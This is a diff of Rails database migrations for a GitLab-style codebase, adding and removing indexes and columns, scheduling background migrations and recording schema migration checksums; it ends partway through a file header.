diff --git a/db/migrate/20201208181411_remove_temporary_blocking_issues_index.rb b/db/migrate/20201208181411_remove_temporary_blocking_issues_index.rb
new file mode 100644
index 00000000000..ea63d2d1ed3
--- /dev/null
+++ b/db/migrate/20201208181411_remove_temporary_blocking_issues_index.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class RemoveTemporaryBlockingIssuesIndex < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index_by_name(:issue_links, 'tmp_idx_blocking_type_links')
+ remove_concurrent_index_by_name(:issue_links, 'tmp_idx_blocked_by_type_links')
+ remove_concurrent_index_by_name(:issues, 'tmp_idx_index_issues_with_outdate_blocking_count')
+ end
+
+ def down
+ add_concurrent_index :issue_links, [:source_id], where: 'link_type = 1', name: 'tmp_idx_blocking_type_links'
+ add_concurrent_index :issue_links, [:target_id], where: 'link_type = 2', name: 'tmp_idx_blocked_by_type_links'
+ add_concurrent_index :issues, :id, where: '(state_id = 1 AND blocking_issues_count = 0)', name: 'tmp_idx_index_issues_with_outdate_blocking_count'
+ end
+end
diff --git a/db/migrate/20201209154746_expand_ci_pipelines_index_on_ci_ref_id.rb b/db/migrate/20201209154746_expand_ci_pipelines_index_on_ci_ref_id.rb
new file mode 100644
index 00000000000..b88763a30f9
--- /dev/null
+++ b/db/migrate/20201209154746_expand_ci_pipelines_index_on_ci_ref_id.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class ExpandCiPipelinesIndexOnCiRefId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ NEW_NAME = 'index_ci_pipelines_on_ci_ref_id_and_more'
+ OLD_NAME = 'index_ci_pipelines_on_ci_ref_id'
+
+ def up
+ add_concurrent_index :ci_pipelines, %i[ci_ref_id id source status], order: { id: :desc }, where: 'ci_ref_id IS NOT NULL', name: NEW_NAME
+
+ remove_concurrent_index_by_name :ci_pipelines, OLD_NAME
+ end
+
+ def down
+ add_concurrent_index :ci_pipelines, :ci_ref_id, where: 'ci_ref_id IS NOT NULL', name: OLD_NAME
+
+ remove_concurrent_index_by_name :ci_pipelines, NEW_NAME
+ end
+end
diff --git a/db/migrate/20201210101250_add_index_projects_on_import_type_and_creator_id.rb b/db/migrate/20201210101250_add_index_projects_on_import_type_and_creator_id.rb
new file mode 100644
index 00000000000..5eb8f1d658e
--- /dev/null
+++ b/db/migrate/20201210101250_add_index_projects_on_import_type_and_creator_id.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddIndexProjectsOnImportTypeAndCreatorId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :projects, [:creator_id, :import_type, :created_at],
+ where: 'import_type IS NOT NULL',
+ name: 'index_projects_on_creator_id_import_type_and_created_at_partial'
+ end
+
+ def down
+ remove_concurrent_index_by_name :projects, 'index_projects_on_creator_id_import_type_and_created_at_partial'
+ end
+end
diff --git a/db/migrate/20201210175044_add_index_to_snippet_on_project_id.rb b/db/migrate/20201210175044_add_index_to_snippet_on_project_id.rb
new file mode 100644
index 00000000000..6de4a840409
--- /dev/null
+++ b/db/migrate/20201210175044_add_index_to_snippet_on_project_id.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddIndexToSnippetOnProjectId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+ INDEX_NAME = "index_snippet_on_id_and_project_id"
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :snippets, [:id, :project_id], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :snippets, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201211042306_add_deployments_finder_by_finished_at_index.rb b/db/migrate/20201211042306_add_deployments_finder_by_finished_at_index.rb
new file mode 100644
index 00000000000..f937ff7a436
--- /dev/null
+++ b/db/migrate/20201211042306_add_deployments_finder_by_finished_at_index.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class AddDeploymentsFinderByFinishedAtIndex < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = "index_deployments_on_project_and_finished"
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :deployments,
+ [:project_id, :finished_at],
+ where: 'status = 2',
+ name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index :deployments,
+ [:project_id, :finished_at],
+ where: 'status = 2',
+ name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201211145950_add_bloat_estimate_to_reindex_action.rb b/db/migrate/20201211145950_add_bloat_estimate_to_reindex_action.rb
new file mode 100644
index 00000000000..894cee92284
--- /dev/null
+++ b/db/migrate/20201211145950_add_bloat_estimate_to_reindex_action.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddBloatEstimateToReindexAction < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :postgres_reindex_actions, :bloat_estimate_bytes_start, :bigint
+ end
+end
diff --git a/db/migrate/20201214084105_add_expiration_policy_completed_at_to_container_repositories.rb b/db/migrate/20201214084105_add_expiration_policy_completed_at_to_container_repositories.rb
new file mode 100644
index 00000000000..9e1f21068c2
--- /dev/null
+++ b/db/migrate/20201214084105_add_expiration_policy_completed_at_to_container_repositories.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+class AddExpirationPolicyCompletedAtToContainerRepositories < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ add_column(:container_repositories, :expiration_policy_completed_at, :datetime_with_timezone)
+ end
+
+ def down
+ remove_column(:container_repositories, :expiration_policy_completed_at)
+ end
+end
diff --git a/db/migrate/20201214113729_add_custom_mapping_columns_to_http_integrations.rb b/db/migrate/20201214113729_add_custom_mapping_columns_to_http_integrations.rb
new file mode 100644
index 00000000000..dbad28280ac
--- /dev/null
+++ b/db/migrate/20201214113729_add_custom_mapping_columns_to_http_integrations.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class AddCustomMappingColumnsToHttpIntegrations < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :alert_management_http_integrations, :payload_example, :jsonb, null: false, default: {}
+ add_column :alert_management_http_integrations, :payload_attribute_mapping, :jsonb, null: false, default: {}
+ end
+end
diff --git a/db/migrate/20201215084652_delete_mock_deployment_service_records.rb b/db/migrate/20201215084652_delete_mock_deployment_service_records.rb
new file mode 100644
index 00000000000..6c601a5e852
--- /dev/null
+++ b/db/migrate/20201215084652_delete_mock_deployment_service_records.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class DeleteMockDeploymentServiceRecords < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ if Rails.env.development?
+ execute("DELETE FROM services WHERE type = 'MockDeploymentService'")
+ end
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/migrate/20201215132151_change_unique_index_on_security_findings.rb b/db/migrate/20201215132151_change_unique_index_on_security_findings.rb
new file mode 100644
index 00000000000..fe474ef3991
--- /dev/null
+++ b/db/migrate/20201215132151_change_unique_index_on_security_findings.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+class ChangeUniqueIndexOnSecurityFindings < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ OLD_INDEX_NAME = 'index_security_findings_on_uuid'
+ NEW_INDEX_NAME = 'index_security_findings_on_uuid_and_scan_id'
+
+ disable_ddl_transaction!
+
+ class SecurityFinding < ActiveRecord::Base
+ include EachBatch
+
+ self.table_name = 'security_findings'
+ end
+
+ def up
+ add_concurrent_index :security_findings, [:uuid, :scan_id], unique: true, name: NEW_INDEX_NAME
+
+ remove_concurrent_index_by_name :security_findings, OLD_INDEX_NAME
+ end
+
+ def down
+ # It is very unlikely that we rollback this migration but just in case if we have to,
+ # we have to clear the table because there can be multiple records with the same UUID
+ # which would break the creation of unique index on the `uuid` column.
+ # We choose clearing the table because just removing the duplicated records would
+ # cause data inconsistencies.
+ SecurityFinding.each_batch(of: 10000) { |relation| relation.delete_all }
+
+ add_concurrent_index :security_findings, :uuid, unique: true, name: OLD_INDEX_NAME
+
+ remove_concurrent_index_by_name :security_findings, NEW_INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20201026185514_ensure_u2f_registrations_migrated.rb b/db/post_migrate/20201026185514_ensure_u2f_registrations_migrated.rb
new file mode 100644
index 00000000000..121b9fee623
--- /dev/null
+++ b/db/post_migrate/20201026185514_ensure_u2f_registrations_migrated.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+class EnsureU2fRegistrationsMigrated < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ BACKGROUND_MIGRATION_CLASS = 'MigrateU2fWebauthn'
+ BATCH_SIZE = 100
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ class U2fRegistration < ActiveRecord::Base
+ include EachBatch
+
+ self.table_name = 'u2f_registrations'
+ end
+
+ def up
+ Gitlab::BackgroundMigration.steal(BACKGROUND_MIGRATION_CLASS)
+
+ # Do a manual update in case we lost BG jobs. The expected record count should be 0 or very low.
+ U2fRegistration
+ .joins("LEFT JOIN webauthn_registrations ON webauthn_registrations.u2f_registration_id = u2f_registrations.id")
+ .where("webauthn_registrations.u2f_registration_id IS NULL")
+ .each_batch(of: BATCH_SIZE) do |batch, index|
+ batch.each do |record|
+ Gitlab::BackgroundMigration::MigrateU2fWebauthn.new.perform(record.id, record.id)
+ rescue => e
+ Gitlab::ErrorTracking.track_exception(e, u2f_registration_id: record.id)
+ end
+ end
+ end
+
+ def down
+ # no-op (we can't "unsteal" migrations)
+ end
+end
diff --git a/db/post_migrate/20201030121314_schedule_update_existing_users_that_require_two_factor_auth.rb b/db/post_migrate/20201030121314_schedule_update_existing_users_that_require_two_factor_auth.rb
new file mode 100644
index 00000000000..2cb7c9c5250
--- /dev/null
+++ b/db/post_migrate/20201030121314_schedule_update_existing_users_that_require_two_factor_auth.rb
@@ -0,0 +1,35 @@
+# # frozen_string_literal: true
+
+class ScheduleUpdateExistingUsersThatRequireTwoFactorAuth < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ MIGRATION = 'UpdateExistingUsersThatRequireTwoFactorAuth'
+ DELAY_INTERVAL = 2.minutes
+ BATCH_SIZE = 1000
+ INDEX_NAME = 'index_users_on_require_two_factor_authentication_from_group'
+
+ disable_ddl_transaction!
+
+ class User < ActiveRecord::Base
+ include EachBatch
+
+ self.table_name = 'users'
+ end
+
+ def up
+ add_concurrent_index :users,
+ :require_two_factor_authentication_from_group,
+ where: 'require_two_factor_authentication_from_group = TRUE',
+ name: INDEX_NAME
+
+ relation = User.where(require_two_factor_authentication_from_group: true)
+
+ queue_background_migration_jobs_by_range_at_intervals(
+ relation, MIGRATION, DELAY_INTERVAL, batch_size: BATCH_SIZE)
+ end
+
+ def down
+ remove_concurrent_index_by_name :users, INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20201112145311_add_index_on_sha_for_initial_deployments.rb b/db/post_migrate/20201112145311_add_index_on_sha_for_initial_deployments.rb
new file mode 100644
index 00000000000..15debddb9cc
--- /dev/null
+++ b/db/post_migrate/20201112145311_add_index_on_sha_for_initial_deployments.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class AddIndexOnShaForInitialDeployments < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ NEW_INDEX_NAME = 'index_deployments_on_environment_status_sha'
+ OLD_INDEX_NAME = 'index_deployments_on_environment_id_and_status'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :deployments, %i[environment_id status sha], name: NEW_INDEX_NAME
+ remove_concurrent_index_by_name :deployments, OLD_INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :deployments, %i[environment_id status], name: OLD_INDEX_NAME
+ remove_concurrent_index_by_name :services, NEW_INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20201113105000_update_index_secure_for_api_fuzzing_telemetry.rb b/db/post_migrate/20201113105000_update_index_secure_for_api_fuzzing_telemetry.rb
new file mode 100644
index 00000000000..9e8313f79f8
--- /dev/null
+++ b/db/post_migrate/20201113105000_update_index_secure_for_api_fuzzing_telemetry.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class UpdateIndexSecureForApiFuzzingTelemetry < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ disable_ddl_transaction!
+
+ OLD_SECURE_INDEX_NAME = 'index_secure_ci_builds_on_user_id_created_at_parser_features'
+ NEW_SECURE_INDEX_NAME = 'index_secure_ci_builds_on_user_id_name_created_at'
+
+ def up
+ add_concurrent_index(:ci_builds,
+ [:user_id, :name, :created_at],
+ where: "(((type)::text = 'Ci::Build'::text) AND ((name)::text = ANY (ARRAY[('container_scanning'::character varying)::text, ('dast'::character varying)::text, ('dependency_scanning'::character varying)::text, ('license_management'::character varying)::text, ('license_scanning'::character varying)::text, ('sast'::character varying)::text, ('coverage_fuzzing'::character varying)::text, ('apifuzzer_fuzz'::character varying)::text, ('apifuzzer_fuzz_dnd'::character varying)::text, ('secret_detection'::character varying)::text])))",
+ name: NEW_SECURE_INDEX_NAME)
+ remove_concurrent_index_by_name :ci_builds, OLD_SECURE_INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index(:ci_builds,
+ [:user_id, :created_at],
+ where: "(((type)::text = 'Ci::Build'::text) AND ((name)::text = ANY (ARRAY[('container_scanning'::character varying)::text, ('dast'::character varying)::text, ('dependency_scanning'::character varying)::text, ('license_management'::character varying)::text, ('license_scanning'::character varying)::text, ('sast'::character varying)::text, ('secret_detection'::character varying)::text])))",
+ name: OLD_SECURE_INDEX_NAME)
+ remove_concurrent_index_by_name :ci_builds, NEW_SECURE_INDEX_NAME
+ end
+end
diff --git a/db/post_migrate/20201119092319_schedule_repopulate_historical_vulnerability_statistics.rb b/db/post_migrate/20201119092319_schedule_repopulate_historical_vulnerability_statistics.rb
new file mode 100644
index 00000000000..598cc4d93d0
--- /dev/null
+++ b/db/post_migrate/20201119092319_schedule_repopulate_historical_vulnerability_statistics.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class ScheduleRepopulateHistoricalVulnerabilityStatistics < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ BATCH_SIZE = 50
+ DELAY_INTERVAL = 5.minutes
+ MIGRATION_CLASS = 'PopulateVulnerabilityHistoricalStatistics'
+ DAY_COUNT = 365
+
+ disable_ddl_transaction!
+
+ class ProjectSetting < ActiveRecord::Base
+ include EachBatch
+
+ self.table_name = 'project_settings'
+
+ scope :has_vulnerabilities, -> { where('has_vulnerabilities IS TRUE') }
+ end
+
+ def up
+ ProjectSetting.has_vulnerabilities.each_batch(of: BATCH_SIZE) do |batch, index|
+ migrate_in(index * DELAY_INTERVAL, MIGRATION_CLASS, [batch.pluck(:project_id), DAY_COUNT])
+ end
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20201120071303_drop_feature_filter_type_from_user_preferences.rb b/db/post_migrate/20201120071303_drop_feature_filter_type_from_user_preferences.rb
new file mode 100644
index 00000000000..b00ea0aba76
--- /dev/null
+++ b/db/post_migrate/20201120071303_drop_feature_filter_type_from_user_preferences.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class DropFeatureFilterTypeFromUserPreferences < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ remove_column :user_preferences, :feature_filter_type
+ end
+ end
+
+ def down
+ with_lock_retries do
+ add_column :user_preferences, :feature_filter_type, :bigint
+ end
+ end
+end
diff --git a/db/post_migrate/20201120140210_add_runner_id_and_id_desc_index_to_ci_builds.rb b/db/post_migrate/20201120140210_add_runner_id_and_id_desc_index_to_ci_builds.rb
new file mode 100644
index 00000000000..5eda0e25dbe
--- /dev/null
+++ b/db/post_migrate/20201120140210_add_runner_id_and_id_desc_index_to_ci_builds.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class AddRunnerIdAndIdDescIndexToCiBuilds < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ NEW_INDEX = 'index_ci_builds_on_runner_id_and_id_desc'
+ OLD_INDEX = 'index_ci_builds_on_runner_id'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :ci_builds, %i[runner_id id], name: NEW_INDEX, order: { id: :desc }
+ remove_concurrent_index_by_name :ci_builds, OLD_INDEX
+ end
+
+ def down
+ add_concurrent_index :ci_builds, %i[runner_id], name: OLD_INDEX
+ remove_concurrent_index_by_name :ci_builds, NEW_INDEX
+ end
+end
diff --git a/db/post_migrate/20201124122817_populate_remaining_missing_dismissal_information_for_vulnerabilities.rb b/db/post_migrate/20201124122817_populate_remaining_missing_dismissal_information_for_vulnerabilities.rb
new file mode 100644
index 00000000000..9dc41d17231
--- /dev/null
+++ b/db/post_migrate/20201124122817_populate_remaining_missing_dismissal_information_for_vulnerabilities.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class PopulateRemainingMissingDismissalInformationForVulnerabilities < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ Gitlab::BackgroundMigration.steal('PopulateMissingVulnerabilityDismissalInformation')
+
+ ::Gitlab::BackgroundMigration::PopulateMissingVulnerabilityDismissalInformation::Vulnerability.broken.each_batch(of: 100) do |batch, index|
+ vulnerability_ids = batch.pluck(:id)
+
+ ::Gitlab::BackgroundMigration::PopulateMissingVulnerabilityDismissalInformation.new.perform(*vulnerability_ids)
+ end
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20201124185639_remove_unused_indexes.rb b/db/post_migrate/20201124185639_remove_unused_indexes.rb
new file mode 100644
index 00000000000..c4b0d8a84cc
--- /dev/null
+++ b/db/post_migrate/20201124185639_remove_unused_indexes.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class RemoveUnusedIndexes < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index_by_name :packages_package_files, "packages_packages_verification_failure_partial"
+ remove_concurrent_index_by_name :packages_package_files, "packages_packages_verification_checksum_partial"
+ remove_concurrent_index_by_name :snippet_repositories, 'snippet_repositories_verification_failure_partial'
+ remove_concurrent_index_by_name :snippet_repositories, 'snippet_repositories_verification_checksum_partial'
+ remove_concurrent_index_by_name :terraform_state_versions, 'terraform_state_versions_verification_failure_partial'
+ remove_concurrent_index_by_name :terraform_state_versions, 'terraform_state_versions_verification_checksum_partial'
+ end
+
+ def down
+ add_concurrent_index :packages_package_files, :verification_failure, where: "(verification_failure IS NOT NULL)", name: "packages_packages_verification_failure_partial"
+ add_concurrent_index :packages_package_files, :verification_checksum, where: "(verification_checksum IS NOT NULL)", name: "packages_packages_verification_checksum_partial"
+ add_concurrent_index :snippet_repositories, :verification_failure, where: "(verification_failure IS NOT NULL)", name: 'snippet_repositories_verification_failure_partial'
+ add_concurrent_index :snippet_repositories, :verification_checksum, where: "(verification_checksum IS NOT NULL)", name: 'snippet_repositories_verification_checksum_partial'
+ add_concurrent_index :terraform_state_versions, :verification_failure, where: "(verification_failure IS NOT NULL)", name: 'terraform_state_versions_verification_failure_partial'
+ add_concurrent_index :terraform_state_versions, :verification_checksum, where: "(verification_checksum IS NOT NULL)", name: 'terraform_state_versions_verification_checksum_partial'
+ end
+end
diff --git a/db/post_migrate/20201130103926_schedule_populate_dismissed_state_for_vulnerabilities.rb b/db/post_migrate/20201130103926_schedule_populate_dismissed_state_for_vulnerabilities.rb
new file mode 100644
index 00000000000..5e8da532251
--- /dev/null
+++ b/db/post_migrate/20201130103926_schedule_populate_dismissed_state_for_vulnerabilities.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+class SchedulePopulateDismissedStateForVulnerabilities < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ TMP_INDEX_NAME = 'tmp_index_on_vulnerabilities_non_dismissed'
+
+ DOWNTIME = false
+ BATCH_SIZE = 1_000
+ VULNERABILITY_BATCH_SIZE = 5_000
+ DELAY_INTERVAL = 3.minutes.to_i
+ MIGRATION_CLASS = 'PopulateDismissedStateForVulnerabilities'
+
+ VULNERABILITY_JOIN_CONDITION = 'JOIN "vulnerability_occurrences" ON "vulnerability_occurrences"."vulnerability_id" = "vulnerabilities"."id"'
+ FEEDBACK_WHERE_CONDITION = <<~SQL
+ EXISTS (SELECT 1 FROM vulnerability_feedback
+ WHERE "vulnerability_occurrences"."project_id" = "vulnerability_feedback"."project_id"
+ AND "vulnerability_occurrences"."report_type" = "vulnerability_feedback"."category"
+ AND ENCODE("vulnerability_occurrences"."project_fingerprint", 'hex') = "vulnerability_feedback"."project_fingerprint"
+ AND "vulnerability_feedback"."feedback_type" = 0
+ )
+ SQL
+
+ class Vulnerability < ActiveRecord::Base # rubocop:disable Style/Documentation
+ include EachBatch
+
+ self.table_name = 'vulnerabilities'
+ end
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index(:vulnerabilities, :id, where: 'state <> 2', name: TMP_INDEX_NAME)
+
+ batch = []
+ index = 1
+
+ Vulnerability.where('state <> 2').each_batch(of: VULNERABILITY_BATCH_SIZE) do |relation|
+ ids = relation
+ .joins(VULNERABILITY_JOIN_CONDITION)
+ .where(FEEDBACK_WHERE_CONDITION)
+ .pluck('vulnerabilities.id')
+
+ ids.each do |id|
+ batch << id
+
+ if batch.size == BATCH_SIZE
+ migrate_in(index * DELAY_INTERVAL, MIGRATION_CLASS, batch)
+ index += 1
+
+ batch.clear
+ end
+ end
+ end
+
+ migrate_in(index * DELAY_INTERVAL, MIGRATION_CLASS, batch) unless batch.empty?
+ end
+
+ def down
+ remove_concurrent_index_by_name(:vulnerabilities, TMP_INDEX_NAME)
+ end
+end
diff --git a/db/post_migrate/20201203123201_remove_orphan_service_hooks.rb b/db/post_migrate/20201203123201_remove_orphan_service_hooks.rb
new file mode 100644
index 00000000000..c430e2205c2
--- /dev/null
+++ b/db/post_migrate/20201203123201_remove_orphan_service_hooks.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class RemoveOrphanServiceHooks < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ class WebHook < ActiveRecord::Base
+ include EachBatch
+
+ self.table_name = 'web_hooks'
+
+ def self.service_hooks
+ where(type: 'ServiceHook')
+ end
+ end
+
+ class Service < ActiveRecord::Base
+ self.table_name = 'services'
+ end
+
+ def up
+ WebHook.service_hooks.where.not(service_id: Service.select(:id)).where.not(service_id: nil).each_batch do |relation|
+ relation.delete_all
+ end
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20201207151651_truncate_security_findings_table_2.rb b/db/post_migrate/20201207151651_truncate_security_findings_table_2.rb
new file mode 100644
index 00000000000..2ac6941be6d
--- /dev/null
+++ b/db/post_migrate/20201207151651_truncate_security_findings_table_2.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require_relative Rails.root.join('db', 'post_migrate', '20201102152945_truncate_security_findings_table.rb')
+
+# This is the second time we are truncating this table
+# so the migration class name has choosen like this for this reason.
+class TruncateSecurityFindingsTable2 < TruncateSecurityFindingsTable; end
diff --git a/db/schema_migrations/20200913115700 b/db/schema_migrations/20200913115700
new file mode 100644
index 00000000000..cb0f401efee
--- /dev/null
+++ b/db/schema_migrations/20200913115700
@@ -0,0 +1 @@
+dd2ada53f01debcc91070525e4386db959b91881a8945e9082d0b3318ceb35cf \ No newline at end of file
diff --git a/db/schema_migrations/20201011005400 b/db/schema_migrations/20201011005400
new file mode 100644
index 00000000000..1715d21e424
--- /dev/null
+++ b/db/schema_migrations/20201011005400
@@ -0,0 +1 @@
+07bfc8e9a684ae64b7d78c9d867f9bafebd46678f6f168aa87d2ad7f0e85d75e \ No newline at end of file
diff --git a/db/schema_migrations/20201021155606 b/db/schema_migrations/20201021155606
new file mode 100644
index 00000000000..958683e9bce
--- /dev/null
+++ b/db/schema_migrations/20201021155606
@@ -0,0 +1 @@
+d9151c8cafe7a62be9904cb05cc2a6f6e28c2910e69744df1ddd4ad587c83335 \ No newline at end of file
diff --git a/db/schema_migrations/20201026185514 b/db/schema_migrations/20201026185514
new file mode 100644
index 00000000000..f6bdd06e501
--- /dev/null
+++ b/db/schema_migrations/20201026185514
@@ -0,0 +1 @@
+a9ae0161c40b9c72371d6eb992bd0da8c3698e7784357faac0821e3f513e48d2 \ No newline at end of file
diff --git a/db/schema_migrations/20201029144524 b/db/schema_migrations/20201029144524
new file mode 100644
index 00000000000..dd25e96ff02
--- /dev/null
+++ b/db/schema_migrations/20201029144524
@@ -0,0 +1 @@
+764f08e3083985bb8e206bd25fb27209702110bb4848c8bbfc6546a2777d9157 \ No newline at end of file
diff --git a/db/schema_migrations/20201030121314 b/db/schema_migrations/20201030121314
new file mode 100644
index 00000000000..b96f100cbd7
--- /dev/null
+++ b/db/schema_migrations/20201030121314
@@ -0,0 +1 @@
+4875c1def91676d73f14c2fbff9318fc4ab1f26535503fd9700044b687e9714e \ No newline at end of file
diff --git a/db/schema_migrations/20201030223933 b/db/schema_migrations/20201030223933
new file mode 100644
index 00000000000..2fb5f394989
--- /dev/null
+++ b/db/schema_migrations/20201030223933
@@ -0,0 +1 @@
+a3aa783f2648a95e3ff8b503ef15b8153759c74ac85b30bf94e39710824e57b0 \ No newline at end of file
diff --git a/db/schema_migrations/20201103045515 b/db/schema_migrations/20201103045515
new file mode 100644
index 00000000000..31b56acb147
--- /dev/null
+++ b/db/schema_migrations/20201103045515
@@ -0,0 +1 @@
+0172b71564e3d3e30c543890a4672b5a118f8053324b177fbbd9e83357ddf3a8 \ No newline at end of file
diff --git a/db/schema_migrations/20201104142036 b/db/schema_migrations/20201104142036
new file mode 100644
index 00000000000..9c41c9c9724
--- /dev/null
+++ b/db/schema_migrations/20201104142036
@@ -0,0 +1 @@
+bde71afbe34006eedbd97ac457df31b247fc89a572ca8900c60b16c4d6a8ef93 \ No newline at end of file
diff --git a/db/schema_migrations/20201106135608 b/db/schema_migrations/20201106135608
new file mode 100644
index 00000000000..ce6570d9dbf
--- /dev/null
+++ b/db/schema_migrations/20201106135608
@@ -0,0 +1 @@
+52c8fb75035a08e212db52d032638a0c8f9d91306bfb8015fb3fc403a1cff1ec \ No newline at end of file
diff --git a/db/schema_migrations/20201106193452 b/db/schema_migrations/20201106193452
new file mode 100644
index 00000000000..c5ce966adfc
--- /dev/null
+++ b/db/schema_migrations/20201106193452
@@ -0,0 +1 @@
+dedc2eba6614c61df6e907ddd9813eea2b00fc43bccc6c3325674ad39950df62 \ No newline at end of file
diff --git a/db/schema_migrations/20201109080645 b/db/schema_migrations/20201109080645
new file mode 100644
index 00000000000..403f1951b8b
--- /dev/null
+++ b/db/schema_migrations/20201109080645
@@ -0,0 +1 @@
+27ee3c5429dba139e6c300961172c4f90d25397e3d1e13d0654e049b63ac3325 \ No newline at end of file
diff --git a/db/schema_migrations/20201109080646 b/db/schema_migrations/20201109080646
new file mode 100644
index 00000000000..ef0edcba9cf
--- /dev/null
+++ b/db/schema_migrations/20201109080646
@@ -0,0 +1 @@
+bdbf3cf39228c9b65b02391a9aa030bdeb06aa3fc9955e2fd53bd784bea37b66 \ No newline at end of file
diff --git a/db/schema_migrations/20201110221400 b/db/schema_migrations/20201110221400
new file mode 100644
index 00000000000..703dcba863a
--- /dev/null
+++ b/db/schema_migrations/20201110221400
@@ -0,0 +1 @@
+9fba60d8805915fcf6af7812e2c752007ac17bb92c8a02c942c0c790d2997441 \ No newline at end of file
diff --git a/db/schema_migrations/20201111051655 b/db/schema_migrations/20201111051655
new file mode 100644
index 00000000000..a2fff09e4b0
--- /dev/null
+++ b/db/schema_migrations/20201111051655
@@ -0,0 +1 @@
+4340d0f6d3b660b336fdc3166a4960865c79e90f505b1173bab4e0d11c1199b3 \ No newline at end of file
diff --git a/db/schema_migrations/20201111051847 b/db/schema_migrations/20201111051847
new file mode 100644
index 00000000000..6d593fc1497
--- /dev/null
+++ b/db/schema_migrations/20201111051847
@@ -0,0 +1 @@
+8180908c5e577757b3f518d312cbf0ba77c65b39fa55dde487036541f49114a1 \ No newline at end of file
diff --git a/db/schema_migrations/20201111051904 b/db/schema_migrations/20201111051904
new file mode 100644
index 00000000000..857f3a58788
--- /dev/null
+++ b/db/schema_migrations/20201111051904
@@ -0,0 +1 @@
+c228aa5c16e63af7520dd1bd90cefb1f74ec2371af3b0e839938d8c628f70e8a \ No newline at end of file
diff --git a/db/schema_migrations/20201111100136 b/db/schema_migrations/20201111100136
new file mode 100644
index 00000000000..da41078fafb
--- /dev/null
+++ b/db/schema_migrations/20201111100136
@@ -0,0 +1 @@
+7a905f8e636be21e328a622d9871018903982989836e6e0def09fd2c2826691f \ No newline at end of file
diff --git a/db/schema_migrations/20201111115414 b/db/schema_migrations/20201111115414
new file mode 100644
